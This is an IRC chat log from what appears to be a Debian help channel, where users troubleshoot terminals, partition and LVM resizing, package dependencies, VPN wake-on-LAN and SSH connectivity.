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| 00:16.13 | umbra_purus | Hey. I want to make a keyboard shortcut to use a terminal window. I've already got the name and the shortcut itself but I don't know what to put in the command space? can someone help me? |
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| 00:17.05 | centrx | umbra_purus, Find out what you terminal you are using/want to use. The basic standard one is called xterm |
| 00:17.23 | umbra_purus | where can i found out? |
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| 00:17.47 | umbra_purus | newbie here O.O <------bullet! |
| 00:17.47 | centrx | umbra_purus, open up the terminal however you do currently |
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| 00:18.01 | centrx | the name might be in the title bar, or there might be an About menu or something |
| 00:18.11 | centrx | ps aux |
| 00:18.33 | umbra_purus | it's gnome terminal |
| 00:18.55 | umbra_purus | there's only my user name in current working directory in title bar |
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| 00:19.02 | umbra_purus | gnome terminal is what? xterm? |
| 00:19.12 | Guest23133 | hi guys. what does this cron line mean: * */2 * * * |
| 00:19.15 | Guest23133 | every half minute? |
| 00:19.31 | shay_shay | umbra_purus: gnome-terminal is the command name |
| 00:19.31 | abrotman | Guest23133: not possible |
| 00:19.34 | centrx | umbra_purus, It's the terminal that comes with the GNOME desktop environment. The command is gnome-terminal |
| 00:19.40 | abrotman | umbra_purus: Gnome-terminal is gnome-terminal |
| 00:19.52 | abrotman | Guest23133: man 5 crontab |
| 00:19.54 | shay_shay | type "which gnome-terminal" at bash |
| 00:20.04 | shay_shay | it will give your its absolute path |
| 00:20.10 | shay_shay | s/your/you |
| 00:20.21 | umbra_purus | I know! ps aux | grep xterm to confirm if it is xterm right? |
| 00:21.18 | shay_shay | ps aux | grep -i term | grep -v grep |
| 00:23.27 | centrx | umbra_purus, yes |
| 00:24.17 | umbra_purus | how does -v do in grep? I've read the man but what is "select non-matching lines? |
| 00:25.10 | shay_shay | umbra_purus:it reverses the matches, in this case it omits the process you just created by grepping "term" |
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| 00:27.28 | shay_shay | umbra_purus:aka "show all lines which dont contain the string grep" |
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| 03:01.21 | un214 | how do I check if I have a firewall enabled (I never configured one and expect disabled) |
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| 03:08.15 | AR45 | Forgot the name of this really awesome GNOME Theme. |
| 03:08.42 | bazhang | AR45, at gnome-look? deviantart? |
| 03:09.04 | AR45 | Nah had it's own website and repository as well. |
| 03:09.29 | AR45 | Was a really flat minimalistic theme. |
| 03:09.51 | bazhang | github? |
| 03:10.49 | AR45 | Yeah I believe so. |
| 03:11.08 | AR45 | I added the source to my sourcelist and I could download their themes and icon packs. |
| 03:12.05 | bazhang | check the sources.list then backtrack to the theme name from there |
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| 03:36.44 | Ultima | hello, I hope someone can help me Iv been banging my head on this forever and i just dont know how to fix it.... I am getting an error whenever I use ldd - ELF binary type "0" not known /usr/bin/ldd: line 161: lib/ld-linux.so.2: cannot execute binary file not a dynamic executable |
| 03:37.05 | Ultima | it just randomly started happening i have no idea what caused it |
| 03:38.05 | beepie | Ultima, ldconfig? |
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| 03:40.23 | Ultima | what about ldconfig? I am still learning about the way it all works =/ |
| 03:40.55 | Ultima | I know when I do ldconfig -p 132 libs print |
| 03:41.46 | Ultima | something I just noticed it shows ld-linux.so.2 (ELF) |
| 03:42.00 | Ultima | all the others have libc6, OS and such |
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| 04:17.57 | TheSarge | Hello. |
| 04:18.03 | TheSarge | Hello, I am trying to use gparted to resize my NTFS partition because my Linux partition is out of space, it only has 5GB.. Gparted gives an error like Unable to read contents of this Filesystem! ... I need ntfsprogs / ntfs-3g |
| 04:18.20 | blitzed | wah wah wah |
| 04:18.39 | blitzed | harddrives are cheap, that is always my solution :) |
| 04:19.04 | blitzed | I never ever muck around with single drive dual boot nonsense |
| 04:19.09 | TheSarge | Okay not an option |
| 04:19.12 | TheSarge | Anyone else? |
| 04:19.13 | blitzed | bummer |
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| 04:19.31 | TheSarge | it actually shows ntfs supported in every column in the checklist |
| 04:20.01 | blitzed | TheSarge do you have the data on that NTFS drive backed up to another? |
| 04:20.07 | blitzed | no cloud storage? |
| 04:21.19 | TheSarge | No |
| 04:21.27 | TheSarge | Its my Windows install. |
| 04:21.34 | TheSarge | I just need to resize it |
| 04:21.46 | TheSarge | But something is wrong with my gparted |
| 04:22.30 | Rusty1 | TheSarge: i would start by running chkdsk from windows on the ntfs partition, then defragging it , the ntfs-3g etc you can install via apt |
| 04:22.44 | TheSarge | I gave ntfs-3g! |
| 04:22.47 | TheSarge | have |
| 04:23.06 | TheSarge | Already like I said the checklist in gparted shows that ntfs is fully supported |
| 04:23.13 | TheSarge | yet I cant even mount the partition |
| 04:23.20 | Rusty1 | ok, get into better shape |
| 04:23.23 | TheSarge | and I get the lil warning icon on the partition |
| 04:23.51 | Rusty1 | *get it into |
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| 04:25.16 | TheSarge | The NTFS partition is fine |
| 04:25.22 | TheSarge | It is something with gparted |
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| 04:42.51 | TheSarge | Anyone else? |
| 04:42.59 | TheSarge | I need space for my linux partition |
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| 04:44.45 | themill | resizing ntfs from within windows is normally a better bet |
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| 04:46.11 | TheSarge | Except it is not possible unless you have more than one partition |
| 04:46.16 | TheSarge | So NO, it isn't. |
| 04:46.37 | TheSarge | Meaning you can't resize a partition from the same partition, obviously. |
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| 04:50.15 | themill | Knew I shouldn't have bothered. |
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| 05:36.16 | maziar | hi |
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| 05:53.04 | schleppy1 | hoping to get some quick help. Trying to install tomcat7 from ubuntu apt repo on 14.04 but getting "failed to preconfigure, with exit status 128" when doing apt-get install. Can I get more verbose output? I tried running all of the preinst and postinst scripts and all seem fine (exit 0) |
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| 05:59.39 | shay_shay | schleppy1: why dont you want it from debian repos? |
| 06:01.21 | shay_shay | same version numbers, ubuntu and debian are both on tomcat7 version 7.0.56-1 |
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| 06:08.03 | darxmurf | hi all |
| 06:08.38 | polyphagia | hi |
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| 06:10.04 | foreverska | What in the boot process says "Loading Please wait..."? |
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| 06:10.38 | psiforce | hi all |
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| 06:28.59 | linuxuz3r | can someone help |
| 06:29.08 | linuxuz3r | wheezy locks up on me |
| 06:29.15 | linuxuz3r | it freezy and i cant do anything |
| 06:29.51 | Zipf | Hello all. I have a very noob question. Ive been learning debian on the past six months. I'm running debian-7.8.0-amd64-netinst.iso on an AMD machine with 4GB ram. Now i got an intel machine, also with 4GB of ram. debian-7.8.0-i386-netinst.iso <-- is this the iso i have to install to intel processor with 4GB ram ? |
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| 06:47.33 | psiforce | Zipf: amd64 is for all 64 bit machines, the amd part is just to "honour" and for developing with the instruction set |
| 06:48.36 | psiforce | that being said the i386 will install 32 bit binary, and will also work on both |
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| 06:56.31 | Zipf | psiforce ok, didn't knew about the AMD thing. U said i386 will sintall 32 bit binary, but for 4+GB ram so its better install the AMD version correct ? |
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| 06:56.58 | psiforce | 64bit will generally better |
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| 06:58.10 | psiforce | although some legacy apps (which are compiled 32bit) will require you to install multi-arch support but thats easy enough to do |
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| 06:58.36 | Zipf | ok, great, understead perfect now, many thx psiforce |
| 06:58.39 | psiforce | and that only occurs if you try install stuff not supported by debian (i.e. apt-get) |
| 06:58.47 | Zipf | ok |
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| 06:59.24 | psiforce | zipf: https://wiki.debian.org/DebianAMD64Faq |
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| 07:02.19 | Broatcast | Zipf: you can directly install a multi-arch image from the netinstall |
| 07:03.06 | Broatcast | http://cdimage.debian.org/debian-cd/7.8.0/multi-arch/ |
| 07:03.29 | Broatcast | multi-arch is just not linked on the get debian page but it exist ;) |
| 07:03.44 | themill | That installer is for working with multiple architectures, not for doing multi-arch installs. |
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| 07:15.14 | foreverska | Is plymouth supposed to stick around until X server takes over? |
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| 07:19.01 | shay_shay | plymouth? |
| 07:19.28 | foreverska | bootsplash program... |
| 07:20.09 | shay_shay | i know what it is, I wasnt aware debian had a boot splash |
| 07:21.12 | foreverska | maybe not in the standard desktop-enviroment... |
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| 07:21.51 | shay_shay | oh it must be manually installed? |
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| 07:24.26 | shay_shay | i'll pass :P |
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| 07:43.03 | Zipf | Broatcast ty about the tips and the link, as i said im new to linux, just learing the basics for hwat i need run, have no clue about what is multi-arch yet |
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| 07:50.38 | shay_shay | just install amd64 and go from there :) |
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| 07:58.04 | l3archos | hey all. When I press fn+f7 (=airplane mode) my wifi and bluetooth are disabled. How can I find out which command is executed when I press this hotkey combination? I'd like to have my radio completely disabled after earch boot and system start. Actually it is enabled :( |
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| 08:00.44 | Oscilax | l3archos: you want to enable airplane mode directly after boot? |
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| 08:13.09 | themill | l3archos: "nmcli radio all off" turns the radio off but that won't quite be what the button runs. |
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| 08:18.03 | ChrisH | rfkill |
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| 08:18.52 | themill | !rfkill |
| 08:18.52 | dpkg | /dev/rfkill is the Linux rfkill (radio frequency <killswitch>) device interface, available since Linux 2.6.31. It is used to enable and disable wireless networking devices (e.g. wireless LAN, Bluetooth, WiMAX). The rfkill userspace tool for accessing this interface is in the rfkill package. http://wireless.kernel.org/en/users/Documentation/rfkill |
| 08:19.06 | themill | (that might also not be what the actual button does) |
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| 08:22.16 | Oscilax | what does the button do? :) |
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| 08:23.45 | Oscilax | i thought maybe something involving gsettings could list that |
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| 08:25.28 | themill | Sometimes the button is a mechanical switch, sometimes it's bios-based. I think I've seen acpi-based ones |
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| 08:26.19 | Kompton | hello, so i am installing debian on my netbook using mini.iso. when it starts downloading contents to initiate the base install, it stops downloading. |
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| 08:26.42 | Kompton | Anything i could do to force a download resume? installation gets stuck that way. |
| 08:27.27 | l3archos | themill: how do I find out what command the hotkey fn+f7 is executing ? |
| 08:28.19 | l3archos | and how can I force my system (Jessie+gdm3+cinnamon) to let the radio disabled by default when starting |
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| 08:30.36 | Oscilax | Kompton: run the expert install method and when it gets stuck then open a console terminal and look at the log |
| 08:33.01 | Kompton | before i proceed |
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| 08:33.09 | Kompton | should i pick a ftp or http mirror? |
| 08:33.20 | Kompton | last time i tried it was a http mirror. |
| 08:33.39 | Kompton | Oscilax: ^ |
| 08:33.41 | Oscilax | i always pick HTTP |
| 08:33.45 | Kompton | ok |
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| 08:41.49 | mastertn | hello, need help for debian on PowerEdge R720 |
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| 08:42.03 | mastertn | NETDEV WATCHDOG: eth0 (tg3): transmit queue 0 timed out |
| 08:42.26 | mastertn | tg3 0000:01:00.0: eth0: Link is down |
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| 08:46.32 | Oscilax | mastertn: how did you install the network device? |
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| 08:47.00 | maziar | i want to compare 2 file in a script, one in my "local server" , other one is on "remote server",,,, how can i address these files in my scrip ? |
| 08:47.46 | mastertn | Oscilax, you mean the network configuration or driver ? |
| 08:47.57 | Oscilax | mastertn: the driver |
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| 08:48.34 | mastertn | Oscilax, the default driver no special installation |
| 08:49.41 | Kompton | yeah the issue is just my connection being shitty in general |
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| 08:51.48 | Oscilax | mastertn: i would get the firmware-linux-nonfree package which contains the firmware for your chipset |
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| 08:54.58 | Kompton | now stuck in "Retrieving multiarch-support", there is nothing relevant besides "wlan0: deauthenticated from <MAC> (Reason 2)" |
| 08:55.49 | mastertn | Oscilax, i have to install firmware-linux-nonfree to resolve this problem ? |
| 08:56.23 | Oscilax | mastertn: it would be my suggestion |
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| 08:57.05 | mastertn | Oscilax, thanks, il will try |
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| 09:15.11 | nextbox | test |
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| 09:36.11 | idl0r | valdyn: thx. make deb-pkg worked as expected :) |
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| 09:37.51 | maziar | ChrisH, i want to write update scripte , do you think its help ? |
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| 09:40.38 | ChrisH | What is an "update script" If you just want to "publish" or forward files from local to remote side, rsync would be the fastest and easiest approach |
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| 09:56.14 | hid3 | Hello. Anyone using the `mpd' music playing daemon? Currently it lacks of support for some stream format, wonder if anyone does use a version, later than 0.16 found in Wheezy... |
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| 09:57.57 | themill | hid3: 0.17.6 is in wheezy-backports |
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| 09:59.20 | hid3 | yes, but it depends on much more packages than 0.16. I'm a little bit afraid in getting messed with all of that an at the end finding out that 0.17.* does not support the format either... |
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| 10:00.51 | hid3 | In short, it would be great if anyone could test an internet radio streamon their mpd (>=0.17.*) and report back. In case it works, I'd definitely try to upgrade it... |
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| 10:02.19 | petn-randall | hid3: Try it and see. If it doesn't work, you can just reinstall the older version again. Just backup the config before you upgrade. |
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| 10:09.43 | jelly | hid3: which stream? |
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| 10:11.39 | hid3 | jelly: The URL for the stream is unique: http://stream2.loveradio.ru/9_top40_56?type=.flv&UID=<<<UID>>> . Replace the <<<UID>> with the following UID (without quotes), which you can see when executing the following command: wget -q -O - "http://www.loveradio.ru/player/2610.htm" | grep uid |
| 10:11.51 | hid3 | e.g., in my case it is http://stream2.loveradio.ru/9_top40_56?type=.flv&UID=2EFDF007813CF2DF80EF7CA50A7F830F |
| 10:12.05 | hid3 | yours will differ |
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| 10:14.39 | l3archos | how can I force my system (Jessie+gdm3+cinnamon) to let the radio disabled (bluetooth+wifi) by default when starting/booting ? |
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| 10:27.51 | hid3 | jelly: have you been able to play the stream? It seems it does not play with 0.17.* version of MPD from wheezy-backports... |
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| 10:29.22 | jelly | hid3: I haven't even tried it yet, sorry |
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| 10:30.04 | Dixi____ | jelly: Have you ever played around with httpd proxying? |
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| 10:30.23 | jelly | have I ever! |
| 10:30.36 | Dixi____ | Can I ask you something regarding that? |
| 10:30.42 | jelly | no, ask the channel please |
| 10:31.08 | Dixi____ | Its just not that debian related, but here goes |
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| 10:31.22 | Dixi____ | ive setup a proxy cluster. Ive duplicated the website contents to every node, but it seems that, when ever i try to visit a directory (eg. domain.tld/whatever/) its not proxying the content? |
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| 10:33.24 | five | ciao |
| 10:33.33 | five | !lista |
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| 10:33.57 | Dixi____ | Do I need to do a ProxyPass /folder /bla/bla for every folder on the webservers? |
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| 10:34.47 | jelly | Dixi____: what are you using for proxy, nginx? apache? |
| 10:34.53 | Dixi____ | apache |
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| 10:35.24 | jelly | Dixi____: I don't think you need to specify each subfolder separately |
| 10:35.34 | Dixi____ | That would not make sense either. |
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| 10:39.35 | jelly | Dixi____: well. Apparently ProxyPass is a substring match so "/folder" ought to match "/folder/blah" but also "/foo/folder/blah" |
| 10:40.14 | jelly | so we now use ProxyPassMatch because it uses regex and can be anchored |
| 10:40.42 | Dixi____ | Ok |
| 10:41.44 | jelly | I guess #httpd might know more |
| 10:43.05 | Dixi____ | I cant write in there for some reason |
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| 10:47.07 | Contrl | What logs would I look at to see when a reset occured? |
| 10:48.01 | petn-randall | Contrl: As in a hardware reset? /var/log/kern.log would be worth a look, though you might not find anything there. |
| 10:48.02 | themill | Dixi____: you need to register and identify to nickserv; /msg nickserv help register |
| 10:48.23 | Eleth | use the "last" command |
| 10:49.04 | Contrl | localhost kernel: imklog 5.8.11, log source = /proc/kmsg started. ? |
| 10:51.50 | Eleth | Contrl: last will tell you when the system booted and when users logged in. uptime will tell you how long the system's been up |
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| 10:52.36 | Eleth | uptime -s to see the time it booted instead of the time it's been up |
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| 10:57.29 | MaxFrames | hello |
| 10:57.43 | MaxFrames | to add a static arp entry, which file do I edit? |
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| 10:59.00 | MaxFrames | a persistent one |
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| 11:02.50 | Eleth | I do it in /etc/rc.local . It might not be the proper way, but it works :) |
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| 11:03.41 | Eleth | You could do it as a post-up command in /etc/network/interfaces I suppose |
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| 11:06.14 | petn-randall | MaxFrames: Check 'man arp'. It references files to statically set up ARP tables. |
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| 11:06.32 | petn-randall | MaxFrames: Out of curiosity, what is the reason you want to do that? |
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| 11:07.41 | _spOOn_ | hey guys, I have a question that is probably suppose to be posted in #debian-next |
| 11:07.48 | _spOOn_ | but am currently unable to join |
| 11:07.56 | themill | it's on irc.oftc.net |
| 11:07.56 | _spOOn_ | apparently i need to be invited :) |
| 11:08.00 | _spOOn_ | oh okies |
| 11:08.01 | _spOOn_ | thanks |
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| 11:08.24 | MaxFrames | petn-randall: I have an openvpn server running on debian (tun mode) |
| 11:08.42 | MaxFrames | I wish to let openvpn clients wake up machines over the vpn |
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| 11:08.55 | MaxFrames | without giving them access to the router, that is |
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| 11:09.21 | petn-randall | MaxFrames: As you're bridging the Ethernet and VPN interface, that shouldn't be needed. |
| 11:09.26 | MaxFrames | this - provided it can be done - would require setting up static arp entries on the openvpn machine, for the lan machines that need to be woken up |
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| 11:09.45 | MaxFrames | I am in tun mode, not in tap mode |
| 11:09.53 | MaxFrames | so it's nat routing isn't it? |
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| 11:11.38 | MaxFrames | I think if I create a static arp entry, and then use an "evolved" wol app like powerwake, which allows to specify an ip address instead of a mac address, I could maybe pull it |
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| 11:12.21 | MaxFrames | I would specify the ip address of the machine to be woken up, the openvpn server would find it in its static arp cache, and it will forward the packet to the destination, waking it up |
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| 11:12.27 | MaxFrames | that's the theory at least |
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| 11:12.38 | petn-randall | MaxFrames: That won't work. If you have NAT, that works on layer 3, not layer 2 where your WOL packets are. |
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| 11:12.54 | frank_o | Hi! Anybody know how to install Node v0.12? `apt-get install node` fetches the old v0.10. |
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| 11:13.33 | petn-randall | MaxFrames: Either you need tap mode and a bridge, or you build something that trigger etherwake on your server running openvpn. |
| 11:13.40 | petn-randall | ,v node |
| 11:13.41 | judd | Package: node on i386 -- squeeze: 0.3.2-7.1; jessie: 0.3.2-7.4; sid: 0.3.2-7.4; wheezy: 0.3.2-7.4 |
| 11:13.47 | petn-randall | ,v nodejs |
| 11:13.48 | judd | Package: nodejs on i386 -- wheezy-backports: 0.10.29~dfsg-1~bpo70+1; jessie: 0.10.29~dfsg-1.1; sid: 0.10.29~dfsg-1.1 |
| 11:13.59 | eimis | can lftp set synced files to be of specific owner? |
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| 11:15.18 | frank_o | petn-randall: So what to do? :) |
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| 11:15.40 | frank_o | petn-randall: Judging by https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=777539 it looks like it's in |
| 11:16.24 | petn-randall | frank_o: 0.12 isn't packaged yet, not even for unstable. You'll have to install it by hand. |
| 11:16.34 | frank_o | Ah I see |
| 11:16.36 | frank_o | Cool, thanks |
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| 11:16.47 | petn-randall | frank_o: That is, if you really need 0.12, and can't live with 0.10 and it's security support via Debian. |
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| 11:24.45 | MaxFrames | petn-randall: I have been already successful in doing this thing over the wan using a tool like powerwake and static arp entries on the remote router |
| 11:25.13 | MaxFrames | the only difference is that in this case the router is not a "physical" one but a "virtual" one (between the vpn clients subnet and the lan subnet) |
| 11:25.22 | MaxFrames | it shouldn't make any difference at all |
| 11:25.36 | MaxFrames | tun = nat routing, if it is so, I've done it before |
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| 11:26.26 | MaxFrames | mmm... "arp: command not found". heh? |
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| 11:27.17 | MaxLanar | Hello |
| 11:27.47 | MaxLanar | There is ony 46 Mo space left on my 314 Mo root partition. /usr /var /tmp /home /boot are separate (as automatically set by the debian installation process for FDE with lvm). With 'du' i found out that /lib (220 Mo) and /lib/modules (154 Mo) take the most part of the space. |
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| 11:27.58 | MaxLanar | The issue now is that i can't instal anything anymore due to the lack of space : |
| 11:28.04 | MaxLanar | http://pastebin.com/BqT1V5uX (aptitude output, in french, sorry) |
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| 11:28.13 | MaxLanar | Is there anything i can erase safely or will i need to resize FS/lvm ? |
| 11:28.38 | MaxLanar | More info on my config (debian testing) : df -h : http://pastebin.com/v2yatJPc |
| 11:28.56 | MaxLanar | ANd 'ls /lib/modules' : 3.16.0-4-amd64 |
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| 11:40.59 | MaxFrames | another idea would imply leveraging pfsense: it can be configured to allow easy login to its gui to the wol user, who will only see a readonly list of machines that can be woken up |
| 11:41.30 | MaxFrames | give the openvpn "wan" ip access to the pfsense webgui, and it's done |
| 11:41.40 | MaxFrames | or directly run openvpn on the pfsense at that point |
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| 11:49.53 | ChrisH | MaxLanar: looks like resize is needed. Is there diskspace left? check output of vgs |
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| 11:54.10 | MaxLanar | ChrisH : it seems not :( : http://pastebin.com/y1dQm3GX |
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| 12:04.11 | superlinux-hp | hi. I am recommended to buy this server: http://www8.hp.com/emea_middle_east/en/products/proliant-servers/product-detail.html?oid=7528627#!tab=specs . how much is't compatible? |
| 12:04.31 | superlinux-hp | compatible with debian |
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| 12:05.15 | ponky | superlinux-hp: it is compatible :p |
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| 12:06.13 | superlinux-hp | ok. |
| 12:07.36 | ChrisH | MaxLanar: ACK. can you paste the output of these commands with LC_ALL=C: df -h , vgs, lvs, pvs in _one_ page on paste.debian.net please. |
| 12:07.53 | superlinux-hp | ponky, I mean it could contain a hardware part that's not compatible |
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| 12:14.27 | abrotman | superlinux-hp: ask HP, they're linux-friendly |
| 12:15.06 | superlinux-hp | abrotman, thanks. I many times trust your words. I know I can. |
| 12:15.54 | abrotman | superlinux-hp: http://www8.hp.com/us/en/products/servers/operating-systems/community-linux/ |
| 12:16.09 | MaxLanar | (I don't know if that change something but my /lib/modules/kernel/drivers is 111 Mo) |
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| 12:21.40 | MaxLanar | ChrisH: I do "LC_ALL=C; <command>" on the prompt or do I have to use 'export' or something like that (i'm not an export at all with environnement variables) |
| 12:22.20 | ChrisH | MaxLanar: without ; |
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| 12:26.22 | MaxLanar | ChrisH: here it is : http://pastebin.com/j5GEmhJV |
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| 12:30.20 | ChrisH | MaxLanar: I assume there is no free partition/space on the sda Disk itself to increase the VG... Then youi need to decide if /home could be made smaller. |
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| 12:31.45 | MaxLanar | ChrisH: Yes, it's not a problem at all to take some hundreds of Mo from /home |
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| 12:34.49 | ChrisH | MaxLanar: I woulkd not start with a few MBs.... should be siginicant and you should keep spare in the VG. |
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| 12:39.00 | ChrisH | MaxLanar: I never shrinked a FS as it is no online operation for extX. But resize2fs -P /dev/mapper/ultraportable-home should show what could be shrinked to... for the rest see man resize2fs check for -M and afterwards lvresize or give lvresize -r a try. BUT have a backup at hand to recover if needed!! |
| 12:39.18 | MaxLanar | ChrisH: OK. Can you point me to some (good) tutorial explaining how to resize / ? (And is there a way to do it while the system is up and running ?) |
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| 12:40.18 | petn-randall | MaxLanar: You can't shrink any filesystem while online (maybe btrfs?). |
| 12:40.20 | ChrisH | MaxLanar: increasing is online (while mounted) possible. shrinking is offline means umounted. |
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| 12:42.58 | ChrisH | MaxLanar: http://www.microhowto.info/howto/reduce_the_size_of_an_ext2_ext3_or_ext4_filesystem.html looks resonable to me. The most critical part is/was mapping the FS Size to the LV size |
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| 12:47.03 | MaxLanar | ChrisH: 'lsof /home' is telling me that it will be complicated to unmount /home while the system is running... Is there a trick to do it (safely) somehow ? |
| 12:47.50 | ChrisH | MaxLanar: boot into single user mode... You did not answer the question if there is any disk space left on sda |
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| 12:51.25 | MaxLanar | ChrisH: sorry i didn't saw that question. No, no space left on sda. |
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| 12:51.56 | ChrisH | MaxLanar: Good Luck! |
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| 12:55.14 | MaxLanar | ChrisH: thank you ! And thank you for your help ! I'll need to make a backup (I don't have one right now - shame on me) before to proceed. I'll come back here soon to tell about my success... |
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| 13:02.59 | fixi | hey folks. i cant for the life of me disable the damn tracker |
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| 13:04.12 | Freeaqingme | Hi folks. Is it possible to use GPT on a root partition of a Debian 7 install? |
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| 13:05.53 | eKyNoX | Good evening, Jessie in Frozen, pertinent to dist-upgrade on a live webhost server ? |
| 13:07.26 | fixi | eKyNoX: no |
| 13:07.39 | fixi | dont use testing on a live server |
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| 13:09.15 | ntz | hello |
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| 13:10.25 | saprophyz | Hey does anybody have pointers/articles/recommendations about automating a server installation/restoration ? I have this VPS on jessie and I wish I could just clone it on a VM or wherever from scratch. Just make a big bash script with everything I did by looking at the logs ? |
| 13:10.25 | Freeaqingme | I've done certain migrations like that using rsync |
| 13:10.48 | DammitJim | ok, so I don't know how I screwed up this hard drive |
| 13:10.54 | DammitJim | but I can't read the contents of a folder |
| 13:10.55 | ntz | I need little help with completely trivial thing .. how do I install local package in debian with something solving deps (so no dpkg) ?? |
| 13:11.08 | DammitJim | however, when I do a du -sh, it tells me 7.3GB |
| 13:11.26 | DammitJim | how can I recover those files? |
| 13:11.44 | DammitJim | unfortunately doing a scan disk on Windows didn't fix anything (NTFS) |
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| 13:12.17 | DammitJim | then going to a different directory on this USB drive, when doing ls, I get: reading directory .: Software caused connection abort |
| 13:12.24 | DammitJim | never seen this stuff before (not that I know anything) |
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| 13:13.02 | jelly | ntz: dpkg -i blah.deb, then apt-get -f install |
| 13:13.23 | jelly | ntz: alternatively set up a local repo and use apt |
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| 13:15.06 | otyugh | ntz you can solve deps using dpkg. Right ? |
| 13:15.06 | otyugh | dpkg -i as always on .deb |
| 13:15.06 | dpkg | removes a liver from otyugh and replaces it with as always on .deb |
| 13:15.06 | otyugh | oO |
| 13:15.06 | otyugh | Oops |
| 13:15.49 | ntz | o.O |
| 13:16.02 | ntz | jelly: thanks, makes sense |
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| 13:17.12 | jelly | otyugh: that does not handle any missing dependencies. |
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| 13:17.55 | otyugh | HO |
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| 13:19.10 | otyugh | solving deps wouldn't be something such as "aptitude build-dep pkg" ? |
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| 13:21.47 | DammitJim | df |
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| 13:25.12 | jelly | otyugh: no, build-dep is for build dependencies. ntz is asking about binary dependencies. |
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| 13:31.01 | ntz | hmm |
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| 13:32.21 | ntz | dpkg -i xymon-client_4.3.17_amd64.deb --dry-run |
| 13:32.32 | dpkg | installs xymon-client_4.3.17_amd64.deb --dry-run into ntz's head with a bone saw and a few screws |
| 13:32.33 | ntz | ^^ wtf .... it started writing to my server |
| 13:32.40 | ntz | wth, |
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| 13:34.03 | ntz | hmm .. solved, bad order of params |
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| 13:37.56 | AxonetBE | I need to install postgres9.3 on arm debian, how can I install this? How to compile the postgres on another machine and install the package? |
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| 13:41.11 | jelly | AxonetBE: there's 9.4 in testing |
| 13:41.24 | jelly | AxonetBE: which debian release are you using? |
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| 13:45.00 | AxonetBE | @jelly : Linux arm 3.14.33-ti-r50 |
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| 13:45.31 | karlpinc | There's no arm arch on in the official pg repo? |
| 13:45.40 | AxonetBE | jelly: Debian GNU/Linux 7 |
| 13:45.49 | AxonetBE | 7.8 |
| 13:46.02 | AxonetBE | karlpinc: yes but only 9.1 |
| 13:47.35 | karlpinc | AxonetBE: :-( |
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| 13:50.11 | karlpinc | AxonetBE: I don't know how to cross compile a package, but it should be safe to do so from the postgresql.org distributed source packages. Or I'd think so. Pg has about the only 3rd party repo that's safe to install directly into debian. (I recall something about cross compiling on the debian wiki.) |
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| 13:52.49 | jelly | AxonetBE: what does "dpkg --print-architecture" say? |
| 13:52.57 | AxonetBE | karlpinc: ok because compiling on my raspberry will take +/- 6hours |
| 13:53.15 | AxonetBE | jelly: armhf |
| 13:53.31 | jelly | AxonetBE: is this debian or raspbian? |
| 13:54.03 | AxonetBE | debian, an sorry was wrong, I'm usign beaglebone |
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| 13:54.39 | MaxLanar | (hi again) Because FDE on my computer, is there some extra step to take, in order to shrink /home and grow / while in single user mode, in addition to the two commands this article is talking about : http://blog.emillon.org/posts/2014-05-13-resizing-a-lvm-partition.html ? |
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| 13:56.10 | jelly | AxonetBE: you could try setting up a qemu-emulated armhf system and build postgresql-9.3 from postgresql.org apt deb-src repo |
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| 13:56.14 | AxonetBE | jelly: I used this image to install debian on my beaglebone https://rcn-ee.net/rootfs/2015-02-19/microsd/bone-debian-7.8-console-armhf-2015-02-19-2gb.img.xz |
| 13:56.44 | jelly | I do not know if there's an easier, crosscompiling way |
| 13:56.47 | jelly | !arm |
| 13:56.47 | dpkg | Advanced RISC Machine (ARM) is a processor architecture. The Debian arm port was deprecated at 5.0 "Lenny" with official support dropped at 6.0 "Squeeze", ask me about <armel> for the replacement port. See also <armhf>. http://www.debian.org/ports/arm/ For help with Debian on ARM systems, join #debian-arm on irc.oftc.net. |
| 13:57.19 | jelly | AxonetBE: try asking there ^^ (note irc.oftc.net is a different irc network) |
| 13:57.54 | idl0r | has anybody kdump-tools/makedumpfile working with a (more) recent kernel, like e.g. the 3.16 backports one by chance? |
| 13:59.17 | ChrisH | MaxLanar: I suggested to test the -r switch from lvresize. But I never used it myself. |
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| 14:00.39 | ChrisH | MaxLanar: as the PV is encrypted no extra steps needed |
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| 14:03.19 | muculus | my server ping is available but ssh not connect ? no firewall rule change telnet will answer on port 22 |
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| 14:04.28 | MaxLanar | ChrisH: Ok, i will try that... |
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| 14:06.00 | _lex | hi guys. i've tried to install with dpkg -i a package that is newer than my current installed one, but it failed because needs libc higher than what debian (wheezy) can provide (google-talkplugin); now everytime i try to use apt-get it'll complain of that package, how can i drop it from being taken into account? |
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| 14:20.20 | _lex | ( google-talkplugin : Depends: libc6 (>= 2.14) but 2.13-38+deb7u8 is to be installed ) |
| 14:21.06 | domovoy | unsetting CONFIG_SWAP makes the kernel bigger? did i miss something here? |
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| 14:25.25 | petn-randall | !tell domovoy -about crosspost |
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| 14:27.16 | ChrisH | _lex: some apt-get remove / dpkg remove command should help you |
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| 14:27.53 | bradland | i've got a debian 7.8 VPS at linode that is refusing ssh connections on port 22 |
| 14:28.07 | bradland | i'm able to get in through linode's lish console, but standard ssh is failing me |
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| 14:28.20 | petn-randall | bradland: Check the firewall, and also check that ssh is installed. |
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| 14:28.33 | bradland | verified iptables -L is empty, and ssh is configured for port 22 |
| 14:28.48 | petn-randall | bradland: There's likely a firewall in front of it. |
| 14:28.54 | ChrisH | bradland: check /var/log/auth.log for details |
| 14:29.44 | bradland | petn-randall: as in Linode's firewall? |
| 14:29.52 | jelly | bradland: iptables -L is not exhausive. Use iptables-save |
| 14:29.54 | bradland | ChrisH: interestingly, nothing shows up in auth.log when i attempt a connection |
| 14:30.29 | ChrisH | bradland: then I would check using snoop/tcpdump if the SYN makes it to your box |
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| 14:30.44 | bradland | good idea on tcdump |
| 14:30.48 | jelly | heh, snoop |
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| 14:31.14 | jelly | ChrisH: your solaris underwear is showing |
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| 14:31.50 | ChrisH | jelly: hmm... Could also have suggested to use nettl :) |
| 14:33.34 | bradland | hrm, tcpdump shows the traffic ariving on eth0 |
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| 14:34.43 | ChrisH | bradland: and does the SYN-ACK leave at the correct interface? |
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| 14:35.25 | bradland | only looked to see if it arrived. looking at bi-directional now. |
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| 14:37.44 | bradland | yeah, the ack goes back out too, so it's gotta be sshd? |
| 14:38.37 | ChrisH | bradland: then check ssh -vvv user@server and after checking the lines, put it onto paste.debian.net |
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| 14:43.00 | bradland | pasted to: http://paste.debian.net/160746/ |
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| 14:44.09 | ChrisH | bradland: and you see the SYN/SYN-ACK in parallel? If yes, some firewall in front kicks your session. |
